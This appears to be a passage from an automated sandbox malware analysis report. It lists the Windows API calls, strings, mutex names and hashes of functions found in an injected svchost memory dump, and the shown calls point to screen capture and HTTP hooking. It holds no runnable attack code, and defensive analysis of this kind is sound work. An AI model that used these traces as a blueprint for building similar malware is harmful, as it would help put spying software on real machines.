CloseHandle.KERNEL32(00000000), ref: 02C8AC1B

Strings

\private\, xrefs: 02C8AB43
\public\, xrefs: 02C8ABA8

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: CreateHandleThread$CloseInformation
String ID: \private\$\public\
API String ID: 677819612-281496920
Opcode ID: 0a4440110d42e8da86999d1edf3a9dac1824afa8cb82750815a93b5b3e5396a2
Instruction ID: 459944f8d6a44322f75390ca40d196e11bb48cfee441a594600555a0848a885f
Opcode Fuzzy Hash: 0a4440110d42e8da86999d1edf3a9dac1824afa8cb82750815a93b5b3e5396a2
Instruction Fuzzy Hash: 493109309817149FE7216B14EC09BA67758DF81B0DF14C65BEA055B2C0C7B59648DFD4

Function 02C7D200 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 02C7D21B
GetLastActivePopup.USER32(?), ref: 02C7D229
GetWindow.USER32(00000000,00000005), ref: 02C7D243
GetWindow.USER32(00000000), ref: 02C7D246
GetWindowInfo.USER32(00000000,?), ref: 02C7D25C
GetWindow.USER32(00000000,00000004), ref: 02C7D265
GetWindow.USER32(00000000,00000003), ref: 02C7D29E

Strings

<, xrefs: 02C7D255

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Window$ActiveInfoLastLongPopup
String ID: <
API String ID: 3748940024-4251816714
Opcode ID: 6566fcbd06473202438ac9c479076b65a869ccce2ce16732eb24cbd94813201e
Instruction ID: ad51b8ab07b6a8a0a47f95f8dc24954f2c3c838c14de4cce43531096e268ba51
Opcode Fuzzy Hash: 6566fcbd06473202438ac9c479076b65a869ccce2ce16732eb24cbd94813201e
Instruction Fuzzy Hash: 2B110B71A4061516DB22A9699CC9FAFBB5CEFD1354F040665FE02F3180DB60DE428BA0

Function 02C7C910 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 53synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,02C7C8E0,00000000,00000000,00000000), ref: 02C7C924
GetHandleInformation.KERNEL32(00000000,00000000,?,?,02C78DCA,?,?,?,?,02C78F99,00000000,?,?,?,?,02C78500), ref: 02C7C93C
CloseHandle.KERNEL32(00000000,?,?,02C78DCA,?,?,?,?,02C78F99,00000000,?,?,?,?,02C78500,?), ref: 02C7C94D
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,02C78DCA,?,?,?,?,02C78F99,00000000,?,?,?,?,02C78500), ref: 02C7C95C
ReleaseMutex.KERNEL32(00000000), ref: 02C7C990
IsWindow.USER32(?), ref: 02C7C997
PostMessageA.USER32(?,00000215,00000000,00000000), ref: 02C7C9AB

Strings

P0#v, xrefs: 02C7C990

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Handle$CloseCreateInformationMessageMutexObjectPostReleaseSingleThreadWaitWindow
String ID: P0#v
API String ID: 731183410-3387790918
Opcode ID: 898a5462f15b66eb5b6a881246f3b77817fdb00d5b63b46bcc56904acff011f1
Instruction ID: dc847c986a7579aa9beb734f0ddc6753ee581b3efceb7b23b13afb8658165d64
Opcode Fuzzy Hash: 898a5462f15b66eb5b6a881246f3b77817fdb00d5b63b46bcc56904acff011f1
Instruction Fuzzy Hash: AE11C830E81315BBE7129F60EC0EF9A3BA8AF45714F1447A5FA149B2C1D7B46710CB94

Function 02C7E629 Relevance: 13.9, APIs: 11, Instructions: 128memoryCOMMON

Download Yara Rule

APIs

StrCmpNIA.SHLWAPI(?,?,?,?,?,00000000,?,?,?), ref: 02C7E682
GetProcessHeap.KERNEL32(00000008,?), ref: 02C7E6A8
HeapAlloc.KERNEL32(00000000), ref: 02C7E6AF
memset.MSVCRT ref: 02C7E6BF
memcpy.MSVCRT(00000000,?,?,00000000,00000000,?), ref: 02C7E6CA
memcpy.MSVCRT(?,?,?), ref: 02C7E6F9
memcpy.MSVCRT(?,?,?), ref: 02C7E71A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C7E72E
HeapValidate.KERNEL32(00000000), ref: 02C7E735
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C7E745
HeapFree.KERNEL32(00000000), ref: 02C7E74C

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Processmemcpy$AllocFreeValidatememset
String ID:
API String ID: 3046854561-0
Opcode ID: 5b0fbf8ba9562c60eabc5b2ff01147ac1f240071a9423b54da6d1d5d7f771d8b
Instruction ID: baf61d12eb0f15fbd5b52be9291bc4ea2e7b6454b2ad0f81c5b671b051dd4de9
Opcode Fuzzy Hash: 5b0fbf8ba9562c60eabc5b2ff01147ac1f240071a9423b54da6d1d5d7f771d8b
Instruction Fuzzy Hash: CF41A477E00359ABCF22CFA4CC84BEE7BB9EF85304F144599E9459B241D730AA40CBA1

Function 02C729B0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 02C729C7
exit.MSVCRT ref: 02C729D5
calloc.MSVCRT ref: 02C729DE
exit.MSVCRT ref: 02C729EC
calloc.MSVCRT ref: 02C729F5
exit.MSVCRT ref: 02C72A02
free.MSVCRT ref: 02C72B51
free.MSVCRT ref: 02C72B79
free.MSVCRT ref: 02C72B95

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: callocexitfree
String ID:
API String ID: 3367576030-0
Opcode ID: bbcff4de4a4894e0a6d107a95d912f7d4d6b507eb13154987a22060052d57127
Instruction ID: 9e9d0ca8c05ed3c8b7aa55220ca6670d6b8bda956e2584675a14374352471800
Opcode Fuzzy Hash: bbcff4de4a4894e0a6d107a95d912f7d4d6b507eb13154987a22060052d57127
Instruction Fuzzy Hash: 1961A475A00609AFEB20DF69C880BAEB7B5FF88314F148459ED0697340D771EA51CF92

Function 02C9C140 Relevance: 13.7, APIs: 9, Instructions: 191fileCOMMON

Download Yara Rule

APIs

select.WS2_32(?,00000000,?,00000000,?), ref: 02C9C1C1
malloc.MSVCRT ref: 02C9C1DA
malloc.MSVCRT ref: 02C9C1EA
free.MSVCRT ref: 02C9C1F9
ReadFile.KERNEL32(?,00000000,00002000,?,00000000), ref: 02C9C225
CloseHandle.KERNEL32(?,?,00000000,00000000), ref: 02C9C307
free.MSVCRT ref: 02C9C326
free.MSVCRT ref: 02C9C343
free.MSVCRT ref: 02C9C349

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: free$malloc$CloseFileHandleReadselect
String ID:
API String ID: 158848325-0
Opcode ID: fe96fb7445081e0d6b7b4217289d3908891c8ab8d549666e3766b5898d1a3772
Instruction ID: 700ab6dcdf6e10d77520856caff018f3a20b3bd56e95b8683181c0d6a86973f5
Opcode Fuzzy Hash: fe96fb7445081e0d6b7b4217289d3908891c8ab8d549666e3766b5898d1a3772
Instruction Fuzzy Hash: 2351C771D00659ABDB10CFA99C88BFFB7F8EB88724F14056AE51DD7280D631AB018B91

Function 02C98890 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 226timeCOMMON

Download Yara Rule

APIs

Part of subcall function 02C9EAA0: select.WS2_32(?,?,00000000,00000000,?), ref: 02C9EB27
Part of subcall function 02C9EAA0: __WSAFDIsSet.WS2_32(?,?), ref: 02C9EB58
Part of subcall function 02C9EAA0: recv.WS2_32(?,?,00000005,00000000), ref: 02C9EB7B
Part of subcall function 02C9EAA0: recv.WS2_32(?,?,00000004,00000000), ref: 02C9EB9D
Part of subcall function 02C9EAA0: socket.WS2_32(00000002,00000001,00000000), ref: 02C9EBB6
Part of subcall function 02C9EAA0: setsockopt.WS2_32(00000000,00000006,00000001,00000001,00000004), ref: 02C9EBD2

malloc.MSVCRT ref: 02C988B3
GetSystemTime.KERNEL32(?), ref: 02C98987
GetSystemTime.KERNEL32(?), ref: 02C989D2
GetSystemTime.KERNEL32(00000000,?), ref: 02C98A64
GetSystemTime.KERNEL32(user!226533!1CE3AAD1,?), ref: 02C98AB2
free.MSVCRT ref: 02C98B6F

Strings

user!226533!1CE3AAD1, xrefs: 02C98AB1

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: SystemTime$recv$freemallocselectsetsockoptsocket
String ID: user!226533!1CE3AAD1
API String ID: 2153857484-4071781050
Opcode ID: 49f1d266871a2e713ea10d1f790a0fcbf5d4a49dcbe9e1e26214910ee85b388a
Instruction ID: c92b1d76400ef9843e2e8b4eed5cff5ffa8c5a4895de51623a914c03a3318989
Opcode Fuzzy Hash: 49f1d266871a2e713ea10d1f790a0fcbf5d4a49dcbe9e1e26214910ee85b388a
Instruction Fuzzy Hash: 8C91BF71A006558FDF28CF28C4987BEBBE5BB86304F04476EE5969B681E734E681CB50

Function 02C899D0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 98libraryloaderCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C899E7
GetVersionExW.KERNEL32(?), ref: 02C89A0A
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 02C89ADB
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 02C89AEC
GetCurrentProcess.KERNEL32(00000000), ref: 02C89AFC

Strings

kernel32.dll, xrefs: 02C89AC9
IsWow64Process, xrefs: 02C89AE6

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: AddressCurrentHandleModuleProcProcessVersionmemset
String ID: IsWow64Process$kernel32.dll
API String ID: 877405840-3024904723
Opcode ID: 2d8e0a6a8fff08f23e0aad92f46895f996e6a680ca94b2f21621046ed013eb6d
Instruction ID: ab2509dac45ebc24982450debd88eb51baa31cac6808634e6fc844e1ce05eae6
Opcode Fuzzy Hash: 2d8e0a6a8fff08f23e0aad92f46895f996e6a680ca94b2f21621046ed013eb6d
Instruction Fuzzy Hash: 9F316B30A80119ABDF39EE55C895BF973B9EF4630CF5085A9D50697340EB719B90CA81

Function 02C77890 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90synchronizationCOMMON

Download Yara Rule

APIs

GdiFlush.GDI32(?,?,?), ref: 02C77926
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C77934
IsBadWritePtr.KERNEL32(?,?), ref: 02C7794A
IsBadReadPtr.KERNEL32(00000000,?), ref: 02C77956
memcpy.MSVCRT(?,00000000,?), ref: 02C77963
ReleaseMutex.KERNEL32(00000000), ref: 02C77985

Strings

P0#v, xrefs: 02C77985

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: FlushMutexObjectReadReleaseSingleWaitWritememcpy
String ID: P0#v
API String ID: 3485819771-3387790918
Opcode ID: 8171cd07da8917a43439a99d2a7210e13dec6fc51a1ddb171d100cc1c6730262
Instruction ID: 724dfa19468e913fa4ed040b0bc688f067e8746fae3b6580ec2c130846e12548
Opcode Fuzzy Hash: 8171cd07da8917a43439a99d2a7210e13dec6fc51a1ddb171d100cc1c6730262
Instruction Fuzzy Hash: AE31CA32E411099BCB15CF69D984BAABBB5EFC8354F2885A9EC04D7305D730E955CB90

Function 02C7AB21 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 46synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 02C7AB2F
IsWindow.USER32(?), ref: 02C7AB54
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7AB62
ReleaseMutex.KERNEL32 ref: 02C7AB97
IsWindow.USER32(?), ref: 02C7AB9E
SendMessageA.USER32(?,00000215,00000000,00000000), ref: 02C7ABAE

Strings

P0#v, xrefs: 02C7AB97

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Window$CurrentMessageMutexObjectReleaseSendSingleThreadWait
String ID: P0#v
API String ID: 1675675969-3387790918
Opcode ID: d5d136a4041b7d436f771182aacef41972af81b25510e3df2a3fb617409e179f
Instruction ID: 03f074cc63b41d1f3aab212351704ecd20f5acd8214eb696ac11eda72c1c52d8
Opcode Fuzzy Hash: d5d136a4041b7d436f771182aacef41972af81b25510e3df2a3fb617409e179f
Instruction Fuzzy Hash: 35012431A81250AFCB029B24FC08FDE33A4BF84724F050BF5E8448B282D7B5A9428BC0

Function 02C7A9A0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 37synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 02C7A9AD
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7A9CB
ReleaseMutex.KERNEL32 ref: 02C7AA00
IsWindow.USER32(?), ref: 02C7AA07
SendMessageA.USER32(?,00000215,00000000,00000000), ref: 02C7AA1B
SetLastError.KERNEL32(00000005), ref: 02C7AA2A

Strings

P0#v, xrefs: 02C7AA00

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: CurrentErrorLastMessageMutexObjectReleaseSendSingleThreadWaitWindow
String ID: P0#v
API String ID: 699575883-3387790918
Opcode ID: b27bce4fcbca707674da6cca9773a2ca59ec8251dd11a3a9c0c98df92576ddb6
Instruction ID: b57c32ef7cd3355056b50e60d3a575415a9a353647a6e2fe4b6cb4813c133737
Opcode Fuzzy Hash: b27bce4fcbca707674da6cca9773a2ca59ec8251dd11a3a9c0c98df92576ddb6
Instruction Fuzzy Hash: 75014B349C0240AFE7169B20E84DBDA37A4FB98716F054BA8F5198B2D1CBB556A1CF90

Function 02C90280 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 31synchronizationsleepCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}), ref: 02C9028E
Sleep.KERNEL32(000003E8), ref: 02C9029F
ReleaseMutex.KERNEL32(00000000), ref: 02C902A6
GetHandleInformation.KERNEL32(00000000,?), ref: 02C902B8
CloseHandle.KERNEL32(00000000), ref: 02C902C9

Strings

Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}, xrefs: 02C90285
P0#v, xrefs: 02C902A6

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HandleMutex$CloseCreateInformationReleaseSleep
String ID: Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}$P0#v
API String ID: 1893094850-2586879793
Opcode ID: f06f6f68b692b4df80c7d7f822048cac3a6d39cf8352ce90042cfbb9e9ac5f45
Instruction ID: 7b5619f72061de97dfb8ba50d1b1332e428a752ab455fde5046a9974113a088f
Opcode Fuzzy Hash: f06f6f68b692b4df80c7d7f822048cac3a6d39cf8352ce90042cfbb9e9ac5f45
Instruction Fuzzy Hash: 6DF0A730D826A4B7E7125BA09C0DBAE7A9CDF45B15F0046C0F805D3181D7B0861046A1

Function 02C8A390 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 30synchronizationsleepCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD39D44014}), ref: 02C8A39E
Sleep.KERNEL32(000003E8), ref: 02C8A3AF
ReleaseMutex.KERNEL32(00000000), ref: 02C8A3B6
GetHandleInformation.KERNEL32(00000000,?), ref: 02C8A3C8
CloseHandle.KERNEL32(00000000), ref: 02C8A3D9

Strings

Local\{EAF799BF-8989-4fe1-9A0D-95CD39D44014}, xrefs: 02C8A395
P0#v, xrefs: 02C8A3B6

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HandleMutex$CloseCreateInformationReleaseSleep
String ID: Local\{EAF799BF-8989-4fe1-9A0D-95CD39D44014}$P0#v
API String ID: 1893094850-253269245
Opcode ID: a5663edb95a2c72d152053f0210cd614263555c4a7ddfa9d3fc34966fc3c5894
Instruction ID: 4841972f98751e0d98693809ac7c433629e7ee9a812505941e5fca44fe9b3815
Opcode Fuzzy Hash: a5663edb95a2c72d152053f0210cd614263555c4a7ddfa9d3fc34966fc3c5894
Instruction Fuzzy Hash: F8F0EC31D81294F7E7125B94DC0DB9E7B5CDF0570AF004281FD0993180E7F08E1487A1

Function 02C776E0 Relevance: 12.1, APIs: 8, Instructions: 60windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 02C776E8
SelectObject.GDI32(?,00000000), ref: 02C77708
DeleteObject.GDI32(?), ref: 02C77711
DeleteDC.GDI32(?), ref: 02C7771D
CreateCompatibleDC.GDI32(00000000), ref: 02C77752
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 02C77771
SelectObject.GDI32(?,00000000), ref: 02C77793
ReleaseDC.USER32(00000000,00000000), ref: 02C777A1

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Object$CompatibleCreateDeleteSelect$BitmapRelease
String ID:
API String ID: 2733039346-0
Opcode ID: 2bb2ac571cb401fe6b4c9584210e2ad626184bbe85346ab9c2802dc2599c5a24
Instruction ID: bfb34221d478f6acdaabe61e514b240ef0dadb0fc3b9fac8cb4bf5e66dc91265
Opcode Fuzzy Hash: 2bb2ac571cb401fe6b4c9584210e2ad626184bbe85346ab9c2802dc2599c5a24
Instruction Fuzzy Hash: 55110075D81240AFC74ADB68F488FA67BF8EB8D310B154A95F40AC3301D734A8658F60

Function 02C7BB10 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(02C7C29D), ref: 02C7BB2F
GetWindowInfo.USER32(02C7C29D,?), ref: 02C7BB49
GetClassLongA.USER32(02C7C29D,000000E6), ref: 02C7BB9E
PrintWindow.USER32(02C7C29D,?,00000000), ref: 02C7BBB7
BitBlt.GDI32(02C7BD82,?,?,?,?,7694BCB0,00000000,00000000,00CC0020), ref: 02C7BC5E

Part of subcall function 02C7CC80: GetClassNameA.USER32(?,?,00000101), ref: 02C7CC96

Part of subcall function 02C7B950: SendMessageA.USER32(?,?,00000004,00000000), ref: 02C7B978
Part of subcall function 02C7B950: GdiFlush.GDI32(00000000,?,762330D0,?,?,?,02C7843E), ref: 02C7B98E
Part of subcall function 02C7B950: BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 02C7B9B4

Strings

<, xrefs: 02C7BB42

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Window$Class$FlushInfoLongMessageNamePrintSendVisible
String ID: <
API String ID: 2334662925-4251816714
Opcode ID: e4894afa2bf716a42caf37b7b11bc8e27eb5ceb2ea965b2bbc33eb65ace83cf7
Instruction ID: 093ccc57ffc1fd99d080eff7a680f8aef94a22716c52aaadbc85895ac9ea315c
Opcode Fuzzy Hash: e4894afa2bf716a42caf37b7b11bc8e27eb5ceb2ea965b2bbc33eb65ace83cf7
Instruction Fuzzy Hash: 08413C71E00519AFCB15CF58C985AAEFBBABF84308F148259E405A7644DB30BE52CB90

Function 02C7FBA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104networkCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7FBD3
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7FBFF
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7FC26
HttpAddRequestHeadersW.WININET(?,?,?,A0000000), ref: 02C7FC6C
HttpAddRequestHeadersA.WININET(?,Accept-Encoding:,00000012,A0000000), ref: 02C7FC7F

Strings

Accept-Encoding:, xrefs: 02C7FC79

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: QueryVirtual$HeadersHttpRequest
String ID: Accept-Encoding:
API String ID: 853579731-3444961765
Opcode ID: eae1558d97f0c1907df676c8d2acc288414731bcd5932755705afb8cacad6815
Instruction ID: a1939f19b0903ae485086d7e66a7c0367de7593c3fc979b1ec14221293d3a2c0
Opcode Fuzzy Hash: eae1558d97f0c1907df676c8d2acc288414731bcd5932755705afb8cacad6815
Instruction Fuzzy Hash: 9F31FFB1D4121DAFDB50DFA5D885AEEBBB9FF88310F114569ED15E7200D3749A018FA0

Function 02C7ABD0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92stringCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7AC0F
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7AC3B
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7AC62
GetUserObjectInformationA.USER32(?,00000002,?,00000100,?), ref: 02C7AC91
lstrcmpiA.KERNEL32(?,80f507eba), ref: 02C7ACA7

Strings

80f507eba, xrefs: 02C7AC9B

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: QueryVirtual$InformationObjectUserlstrcmpi
String ID: 80f507eba
API String ID: 410342393-2772689766
Opcode ID: 35ea4937242a902a5c5d0cf1d59a717b5ec3b164cb4c847174ea150e8905d255
Instruction ID: 50cd088300e2c098ad6a19424ca14a86222806e7c165223fdedc0b517644ca9f
Opcode Fuzzy Hash: 35ea4937242a902a5c5d0cf1d59a717b5ec3b164cb4c847174ea150e8905d255
Instruction Fuzzy Hash: 7C31E1B1E40209EFDB40CFA9D885AEEBBF9FB48300F10856AE514E7240E7755A40CF90

Function 02C8A9D6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79threadCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7F1BFC0D), ref: 02C8A9F7
CreateThread.KERNEL32(00000000,00000000,02C8B260,02CC7DA0,00000000,00000000), ref: 02C8AA90
GetHandleInformation.KERNEL32(00000000,?), ref: 02C8AAA8
CloseHandle.KERNEL32(00000000), ref: 02C8AAB9

Strings

keys, xrefs: 02C8AA3B
7F1BFC0D, xrefs: 02C8A9F2, 02C8A9FD

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Handle$BackslashCloseCreateInformationPathThread
String ID: 7F1BFC0D$keys
API String ID: 3186380484-1311816763
Opcode ID: 71ac756de49014c82fc43e66e7205a9b122f8058e74f0c633f2cb4bce79185f2
Instruction ID: 31663a969f21679a839c96e740fe0cc2cd9ff88a966b516aecd0452d6e46079d
Opcode Fuzzy Hash: 71ac756de49014c82fc43e66e7205a9b122f8058e74f0c633f2cb4bce79185f2
Instruction Fuzzy Hash: AE214D319851455BDB22DB7499187FEB7E4DF49308F2881D9E845E7240EB71CE09CF90

Function 02C93170 Relevance: 10.6, APIs: 7, Instructions: 72processCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C93194
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02C9319F
Process32First.KERNEL32 ref: 02C931C5
